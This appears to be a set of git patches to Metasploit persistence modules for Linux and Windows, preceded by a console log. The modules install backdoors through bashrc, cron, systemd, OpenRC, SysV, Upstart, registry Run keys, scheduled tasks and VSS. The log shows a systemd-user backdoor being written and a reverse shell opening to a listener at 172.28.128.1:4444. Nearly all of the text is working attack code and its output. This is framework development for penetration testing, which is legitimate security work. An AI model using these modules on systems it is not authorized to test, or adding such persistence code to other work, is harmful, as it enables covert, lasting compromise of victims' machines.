----------- + LHOST 172.28.128.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 4 systemd user + + + msf5 exploit(linux/local/service_persistence) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.28.128.1:4444 + [*] Writing backdoor to /tmp/PPpCF + [*] Max line length is 65537 + [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf + [*] Creating user service directory + [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service + [*] Max line length is 65537 + [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf + [*] Reloading manager configuration + [*] Enabling service + [*] Starting service: OzzdRBC + [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 + + id + uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) + uname -a + Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 3eea6ccdb71f..e1b0a60701a8 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Auxiliary::Report + include Msf::Post::Linux::User include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated @@ -24,7 +25,7 @@ def initialize(info = {}) The execution trigger executes a call back payload whenever the target user opens a Bash terminal. - Verified on Ubuntu 22.04 desktop with Gnome + Verified on Ubuntu 22.04 and 18.04 desktop with Gnome }, 'License' => MSF_LICENSE, 'Author' => [ @@ -51,19 +52,22 @@ def initialize(info = {}) register_options( [ - OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']), + OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), ] ) end + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + whoami + end + def profile_path - # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc') - profile_path = datastore['BASH_PROFILE'] - if profile_path.start_with?('~/') - profile_path.sub!(/^~/, get_env('$HOME')) - end - profile_path + user = target_user + home = get_home_dir(user) + "#{home}/#{datastore['BASH_PROFILE']}" end def check diff --git a/modules/exploits/linux/persistence/cron.rb b/modules/exploits/linux/persistence/cron.rb index 2d57bcc0ed1f..832c61aa6c94 100644 --- a/modules/exploits/linux/persistence/cron.rb +++ b/modules/exploits/linux/persistence/cron.rb @@ -56,9 +56,9 @@ def initialize(info = {}) register_options( [ - OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']), - OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), - ], self.class + OptString.new('USER', [false, 'User to run cron/crontab as', '']), + OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), + ] ) end @@ -74,20 +74,25 @@ def check return CheckCode::Unknown('Invalid timing format') end - case target.name - when 'Cron' - return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) - return CheckCode::Safe("Can't write to: #{target.opts[:path]}") unless writable?(target.opts[:path]) - when 'System Crontab' - return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) - return CheckCode::Safe("Can't write to: #{target.opts[:path]}") unless writable?(target.opts[:path]) - when 'User Crontab' - return CheckCode::Unknown('User denied cron via cron.deny') unless user_cron_permission?(datastore['USERNAME']) + return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path]) + # it may not be directly writable, but we can use crontab to write it for us + if !writable?(target.opts[:path]) && !command_exists?('crontab') + return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found") + end + + if target.name == 'User Crontab' + return CheckCode::Unknown('User denied cron via cron.deny') unless user_cron_permission?(target_user) end CheckCode::Appears('Cron timing is valid, no cron.deny entries found') end + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + whoami + end + def user_cron_permission?(user) # double check we're allowed to do cron # may also be /etc/cron.d/ @@ -116,7 +121,7 @@ def install_persistence cron_entry = datastore['TIMING'] unless target.name == 'User Crontab' - cron_entry += " #{datastore['USERNAME']}" + cron_entry += " #{target_user}" end cron_entry += " #{payload.encoded}" @@ -136,23 +141,27 @@ def install_persistence @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" when 'User Crontab' - file_to_clean = "#{target.opts[:path]}/#{datastore['USERNAME']}" - - crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup') - append_file(file_to_clean, "\n#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{file_to_clean}") - # at least on ubuntu, we need to reload cron to get this to work - vprint_status('Reloading cron to pickup new entry') - cmd_exec('service cron reload') - @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" - + if !writable?(target.opts[:path]) + print_status("Utilizing crontab since we can't write to #{target.opts[:path]}") + cmd_exec("echo \"#{cron_entry}\" | crontab -") + else + file_to_clean = "#{target.opts[:path]}/#{target_user}" + + crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup') + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + # at least on ubuntu, we need to reload cron to get this to work + vprint_status('Reloading cron to pickup new entry') + cmd_exec('service cron reload') + @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" + end end print_good('Payload will be triggered when cron time is reached') end def store_crontab_backup(path, desc) crontab_backup_content = read_file(path) - store_loot("desktop.#{path.split('/').last}", + store_loot("crontab.#{path.split('/').last}", 'text/plain', session, crontab_backup_content, path.split('/').last, desc) end diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index b25b8327486a..a9bd02135f3b 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -18,39 +18,18 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Service OpenRC Persistence', + 'Name' => 'Init OpenRC Persistence', 'Description' => %q{ - This module will create a service on the box, and mark it for auto-restart. + This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write service files and potentially restart services - Targets: - System V: - CentOS <= 5 - Debian <= 6 - Kali 2.0 - Ubuntu <= 9.04 - Upstart: - CentOS 6 - Fedora >= 9, < 15 - Ubuntu >= 9.10, <= 14.10 - systemd: - CentOS 7 - Debian >= 7, <=8 - Fedora >= 15 - Ubuntu >= 15.04 - Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', - 'Cale Black' # systemd user target ], 'Platform' => ['unix', 'linux'], 'Targets' => [ - [ - 'openrc', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], + ['Automatic', {}] ], 'DefaultTarget' => 0, 'Arch' => ARCH_CMD, @@ -74,7 +53,7 @@ def initialize(info = {}) 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, - 'DisclosureDate' => '1983-01-01' # system v release date + 'DisclosureDate' => '2007-04-05' # openrc release date ) ) @@ -93,20 +72,17 @@ def initialize(info = {}) end def check + return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + return CheckCode::Safe("/etc/init.d/ doesnt exist") unless exists?('/etc/init.d/') + return CheckCode::Safe("/etc/init.d/ isnt writable") unless writable?('/etc/init.d/') - if service_system_exists?('openrc') - return CheckCode::Appears("#{datastore['WritableDir']} is writable and openrc based") - end - - CheckCode::Safe('Likely not an openrc based system') + return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') + CheckCode::Appears("#{datastore['WritableDir']} is writable and openrc based") end def install_persistence - backdoor = write_shell(datastore['WritableDir']) - if backdoor.nil? - return - end + write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -114,11 +90,6 @@ def install_persistence openrc(path, file) end - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) - end - def write_shell(path) file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) backdoor = "#{path}/#{file_name}" @@ -128,17 +99,12 @@ def write_shell(path) if file_exist?(backdoor) cmd_exec("chmod 711 #{backdoor}") - backdoor - else - print_error('File not written, check permissions.') - return + return backdoor end + fail_with(Failure::NoAccess, 'File not written, check permissions.') end def openrc(backdoor_path, backdoor_file) - # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts - # https://wiki.alpinelinux.org/wiki/OpenRC - # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md script = %(#!/sbin/openrc-run name=#{backdoor_file} command=/bin/sh @@ -147,17 +113,17 @@ def openrc(backdoor_path, backdoor_file) command_background="yes" ) - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - service_name = "/etc/init.d/#{service_filename}" - vprint_status("Writing service: #{service_name}") + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) + service_path = "/etc/init.d/#{service_filename}" + vprint_status("Writing service: #{service_path}") begin - upload_and_chmodx(service_name, script) - @clean_up_rc << "rm #{service_name}\n" + upload_and_chmodx(service_path, script) + @clean_up_rc << "rm #{service_path}\n" rescue Rex::Post::Meterpreter::RequestError - print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?") + print_error("Writing '#{service_path}' to the target and or changing the file permissions failed") end - if !file_exist?(service_name) + unless file_exist?(service_path) print_error('File not written, check permissions.') return end @@ -168,6 +134,6 @@ def openrc(backdoor_path, backdoor_file) end print_good('Starting service') - cmd_exec("'/etc/init.d/#{service_filename}' start") + cmd_exec("'#{service_path}' start") end end diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index aa0a23e104a3..11e110d0ab7e 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -50,6 +50,7 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'], ['URL', 'https://attack.mitre.org/techniques/T1543/'] ], 'Payload' => { @@ -81,23 +82,19 @@ def initialize(info = {}) OptBool.new('EnableService', [true, 'Enable the service', true]) ] ) + deregister_options('WritableDir') end def check + return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) - - if service_system_exists?('systemctl') - return CheckCode::Appears("#{datastore['WritableDir']} is writable and systemd based") - end - - CheckCode::Safe('Likely not a systemd based system') + return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl') + + CheckCode::Appears("#{datastore['WritableDir']} is writable and systemd based") end def install_persistence - backdoor = write_shell(datastore['WritableDir']) - if backdoor.nil? - return - end + write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -109,28 +106,21 @@ def install_persistence end end - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) - end - def write_shell(path) file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) + @clean_up_rc << "rm #{backdoor}\n" + if file_exist?(backdoor) cmd_exec("chmod 711 #{backdoor}") - backdoor - else - @clean_up_rc << "rm #{backdoor}\n" - print_error('File not written, check permissions.') - return + return backdoor end + fail_with(Failure::NoAccess, 'File not written, check permissions.') end def systemd(backdoor_path, backdoor_file) - # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ script = %([Unit] Description=Start daemon at boot time After= @@ -143,7 +133,7 @@ def systemd(backdoor_path, backdoor_file) [Install] WantedBy=multi-user.target) - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_name = "/lib/systemd/system/#{service_filename}.service" vprint_status("Writing service: #{service_name}") write_file(service_name, script) @@ -175,7 +165,7 @@ def systemd_user(backdoor_path, backdoor_file) [Install] WantedBy=default.target EOF - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) home = cmd_exec('echo ${HOME}') vprint_status('Creating user service directory') diff --git a/modules/exploits/linux/persistence/init_sysvinit.rb b/modules/exploits/linux/persistence/init_sysvinit.rb index 64fab25e5112..8892979f2a8e 100644 --- a/modules/exploits/linux/persistence/init_sysvinit.rb +++ b/modules/exploits/linux/persistence/init_sysvinit.rb @@ -84,8 +84,8 @@ def initialize(info = {}) def check return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) - has_updatercd = service_system_exists?('update-rc.d') - if has_updatercd || service_system_exists?('chkconfig') # centos 5 + has_updatercd = command_exists?('update-rc.d') + if has_updatercd || command_exists?('chkconfig') # centos 5 return CheckCode::Appears("#{datastore['WritableDir']} is writable and System V based") end @@ -93,21 +93,12 @@ def check end def install_persistence - backdoor = write_shell(datastore['WritableDir']) - if backdoor.nil? - print_error('Failed to write shell') - return - end + write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] - system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) - end - - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) + system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d')) end def write_shell(path) @@ -115,14 +106,13 @@ def write_shell(path) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) + @clean_up_rc << "rm #{backdoor}\n" + if file_exist?(backdoor) cmd_exec("chmod 711 #{backdoor}") - backdoor - else - @clean_up_rc << "rm #{backdoor}\n" - print_error('File not written, check permissions.') - return + return backdoor end + fail_with(Failure::NoAccess, 'File not written, check permissions.') end def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb index 47a21488bc55..6e84bffb261b 100644 --- a/modules/exploits/linux/persistence/init_upstart.rb +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -81,7 +81,7 @@ def initialize(info = {}) def check return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) - if service_system_exists?('initctl') + if command_exists?('initctl') return CheckCode::Appears("#{datastore['WritableDir']} is writable and upstart based") end @@ -89,10 +89,7 @@ def check end def install_persistence - backdoor = write_shell(datastore['WritableDir']) - if backdoor.nil? - return - end + write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -100,24 +97,18 @@ def install_persistence upstart(path, file, target.opts[:runlevel]) end - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) - end - def write_shell(path) file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) + @clean_up_rc << "rm #{backdoor}\n" + if file_exist?(backdoor) cmd_exec("chmod 711 #{backdoor}") - backdoor - else - @clean_up_rc << "rm #{backdoor}\n" - print_error('File not written, check permissions.') - return + return backdoor end + fail_with(Failure::NoAccess, 'File not written, check permissions.') end def upstart(backdoor_path, backdoor_file, runlevel) From 364d1a5a0a2cd396577912f346ce8388df515e4d Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 6 Feb 2025 09:18:31 -0500 Subject: [PATCH 73/94] fix: s4u persistence with new mixin and cleanup rc file --- modules/exploits/windows/persistence/s4u.rb | 24 +++++---------------- 1 file changed, 5 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/persistence/s4u.rb b/modules/exploits/windows/persistence/s4u.rb index 5cc5c22f20a0..d7a2fbd80c24 100644 --- a/modules/exploits/windows/persistence/s4u.rb +++ b/modules/exploits/windows/persistence/s4u.rb @@ -95,7 +95,7 @@ def check CheckCode::Detected('System likely vulnerable') end - def exploit + def install_persistence # Generate payload payload = generate_payload_exe @@ -158,6 +158,8 @@ def upload_rexe(path, payload) begin write_file(path, payload) + + @clean_up_rc << "rm #{path.gsub('\\', '//')}\n" rescue StandardError fail_with(Failure::Unknown, "Could not upload to #{path}") end @@ -351,27 +353,11 @@ def create_task(path, schname, rexe_path) print_good("Persistence task #{schname} created successfully") # Create to delete commands for exe and task - del_task = "schtasks /delete /tn \"#{schname}\" /f" - print_status("#{'To delete task:'.ljust(20)} #{del_task}") - print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}") - del_task << "\ndel #{rexe_path}" + @clean_up_rc << "schtasks /delete /tn \"#{schname}\" /f\n" + @clean_up_rc << "del #{rexe_path}\n" # Delete XML from victim delete_file(path) - - # Save info to notes DB - report_note(host: session.session_host, - type: 'host.s4u_persistance.cleanup', - data: { - session_num: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - delete_commands: del_task - }) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ # Clean up delete_file(rexe_path) From a3dcbf6e159eb47e81c410a9aaea91afb37d46a7 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 6 Feb 2025 09:24:26 -0500 Subject: [PATCH 74/94] fix: process_exit_debugger persistence with new mixin and cleanup rc file --- .../exploits/windows/persistence/process_exit_debugger.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb index e2d7dac70edd..ea619aa50709 100644 --- a/modules/exploits/windows/persistence/process_exit_debugger.rb +++ b/modules/exploits/windows/persistence/process_exit_debugger.rb @@ -80,6 +80,8 @@ def check def upload_payload(dest_pathname) payload_exe = generate_payload_exe write_file(dest_pathname, payload_exe) + @clean_up_rc << "rm #{dest_pathname.gsub(/\\/, '//')}\n" + vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}") end @@ -101,6 +103,8 @@ def write_reg_keys(image_file, payload_pathname) registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key) reg_keys.each do |key| registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name]) + @clean_up_rc << "reg deletekey -k '#{key[:key_name].gsub('\\', '//')}'\n" + vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}") registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type]) unless registry_getvalinfo(key[:key_name], key[:value_name]) @@ -110,7 +114,7 @@ def write_reg_keys(image_file, payload_pathname) end end - def exploit + def install_persistence payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) temp_path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') image_file = datastore['IMAGE_FILE'] From 37cd4c196ef83d7763966dd2ce3efadbae62acbf Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 04:14:55 -0500 Subject: [PATCH 75/94] x: s4u persistence check method and cleanup fix --- modules/exploits/windows/persistence/s4u.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/persistence/s4u.rb b/modules/exploits/windows/persistence/s4u.rb index d7a2fbd80c24..c006c19f944c 100644 --- a/modules/exploits/windows/persistence/s4u.rb +++ b/modules/exploits/windows/persistence/s4u.rb @@ -338,9 +338,7 @@ def write_xml(xml, path, rexe_path) # Takes path and delete file # Returns boolean for success def delete_file(path) - file_rm(path) - rescue StandardError - print_warning("Could not delete file #{path}, delete manually") + cmd_exec('cmd.exe', "/c del #{path}") end ############################################################## @@ -353,8 +351,9 @@ def create_task(path, schname, rexe_path) print_good("Persistence task #{schname} created successfully") # Create to delete commands for exe and task - @clean_up_rc << "schtasks /delete /tn \"#{schname}\" /f\n" - @clean_up_rc << "del #{rexe_path}\n" + @clean_up_rc << "execute -H -f schtasks -a /delete /tn \"#{schname}\" /f\n" + @clean_up_rc << "rm #{rexe_path}\n" + @clean_up_rc << "rm #{path}\n" # Delete XML from victim delete_file(path) @@ -365,7 +364,7 @@ def create_task(path, schname, rexe_path) error = 'The scheduled task name is already in use' fail_with(Failure::Unknown, error) else - error = 'Issues creating task using XML file schtasks' + error = "Issues creating task using XML file schtasks, #{create_task_response}" vprint_error("Error: #{create_task_response}") if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event') print_warning('Security log can restricted by UAC, try a different trigger') From fe6da6028de5f29313eec8d90b101491d532d947 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 05:04:35 -0500 Subject: [PATCH 76/94] fix: registry persistence with new mixin and cleanup rc file --- .../exploits/windows/persistence/registry.rb | 78 ++++--------------- 1 file changed, 17 insertions(+), 61 deletions(-) diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index 2330be00a9cd..981d9ddacfa1 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -57,8 +57,6 @@ def initialize(info = {}) [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), - OptBool.new('CREATE_RC', - [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) @@ -66,6 +64,18 @@ def initialize(info = {}) deregister_options('WritableDir') end + def check + # not quite sure what we could check for, maybe registry write and then delete the value? + # if anyone has comments, please let h00die know! + + # maybe Exploit::CheckCode::Unsupported instead since we don't check anything? but if its windows, its vulnerable... + unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') + return Msf::Exploit::CheckCode::Safe + end + + return Msf::Exploit::CheckCode::Vulnerable + end + def generate_payload_blob opts = { wrap_double_quotes: true, @@ -125,63 +135,7 @@ def get_root_path return root_path end - def log_file(log_path = nil) # Thanks Meatballs for this - # Get hostname - host = session.session_host - - # Create Filename info to be appended to downloaded files - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - # logfile name - logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') - logfile - end - - def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this - clean_rc = log_file - @clean_up_rc = '' - @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" - if new_key - @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" - end - @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" - file_local_write(clean_rc, @clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") - - report_note(host: session.session_host, - type: 'host.persistance.cleanup', - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - }) - end - - def check - # XXX I think we have a has_powershell? somewhere, if not, maybe this should be moved there - return CheckCode::Safe('Powershell not installed') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') - - return CheckCode::Vulnerable - end - - def exploit + def install_persistence unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end @@ -203,8 +157,10 @@ def exploit print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) - if datastore['CREATE_RC'] - create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) + @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" + if new_key + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" end end From 4fdd4ac95e0922f81eca08c3cd9b712b74372265 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 05:41:02 -0500 Subject: [PATCH 77/94] fix: vss persistence with new mixin and cleanup rc file --- modules/exploits/windows/persistence/vss.rb | 25 ++------------------- 1 file changed, 2 insertions(+), 23 deletions(-) diff --git a/modules/exploits/windows/persistence/vss.rb b/modules/exploits/windows/persistence/vss.rb index 8b62b5fe5ff7..7b8f8164b120 100644 --- a/modules/exploits/windows/persistence/vss.rb +++ b/modules/exploits/windows/persistence/vss.rb @@ -86,10 +86,8 @@ def check CheckCode::Appears('Target is likely vulnerable') end - def exploit - fail_with(Failure::BadConfig, 'WritableDir option should start with \\, and not include a drive letter.') unless WritableDir.start_with?('\\') - @clean_up = '' - + def install_persistence + fail_with(Failure::BadConfig, 'WritableDir option should start with \\, and not include a drive letter.') unless datastore['WritableDir'].start_with?('\\') print_status('Uploading payload...') remote_file = upload(datastore['WritableDir']) @@ -122,10 +120,6 @@ def exploit print_status('Installing as autorun in the registry...') install_registry(volume_data_id, remote_file) end - - unless @clean_up.empty? - log_file - end end def upload(trg_loc = '') @@ -207,19 +201,4 @@ def install_registry(volume_id, exe_path) print_error('Error: failed to open the registry key for writing') end end - - def clean_data - host = session.sys.config.sysinfo['Computer'] - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) - ::FileUtils.mkdir_p(logs) - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' - return logfile - end - - def log_file - clean_rc = clean_data - file_local_write(clean_rc, @clean_up) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - end end From 0ecac47ec32323454ccfabbd83b1502b2a493943 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 06:18:00 -0500 Subject: [PATCH 78/94] fix: registry_vbs persistence with new mixin and cleanup rc file --- .../windows/persistence/registry_vbs.rb | 115 +----------------- 1 file changed, 2 insertions(+), 113 deletions(-) diff --git a/modules/exploits/windows/persistence/registry_vbs.rb b/modules/exploits/windows/persistence/registry_vbs.rb index 521ec53dd7a1..c46e7af030fd 100644 --- a/modules/exploits/windows/persistence/registry_vbs.rb +++ b/modules/exploits/windows/persistence/registry_vbs.rb @@ -81,13 +81,13 @@ def initialize(info = {}) def check path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') - return CheckCode::Safe("Path doesn't exist: #{path}") unless exists?(path) + return CheckCode::Safe("Path doesn't exists: #{path}") unless exists?(path) CheckCode::Appears end # Exploit method for when exploit command is issued - def exploit + def install_persistence # Define default values rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) @@ -95,14 +95,12 @@ def exploit startup = datastore['STARTUP'].downcase delay = datastore['DELAY'] exec_after = datastore['EXEC_AFTER'] - @clean_up_rc = '' rvbs_name += '.vbs' if rvbs_name[-4, 4] != '.vbs' rexe_name += '.exe' if rexe_name[-4, 4] != '.exe' # Connect to the session begin - host = session.session_host print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue StandardError => e print_error("Could not connect to session: #{e}") @@ -144,34 +142,8 @@ def exploit return nil end - # Do we setup a exploit/multi/handler job? - if handler - listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) - if listener_job_id.blank? - print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") - end - end - # Do we execute the VBS script afterwards? target_exec(script_on_target) if exec_after - - # Create 'clean up' resource file - clean_rc = log_file - file_local_write(clean_rc, @clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") - - report_note(host: host, - type: 'host.persistance.cleanup', - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - }) end # Writes script to target host and returns the pathname of the target file or nil if the @@ -251,87 +223,4 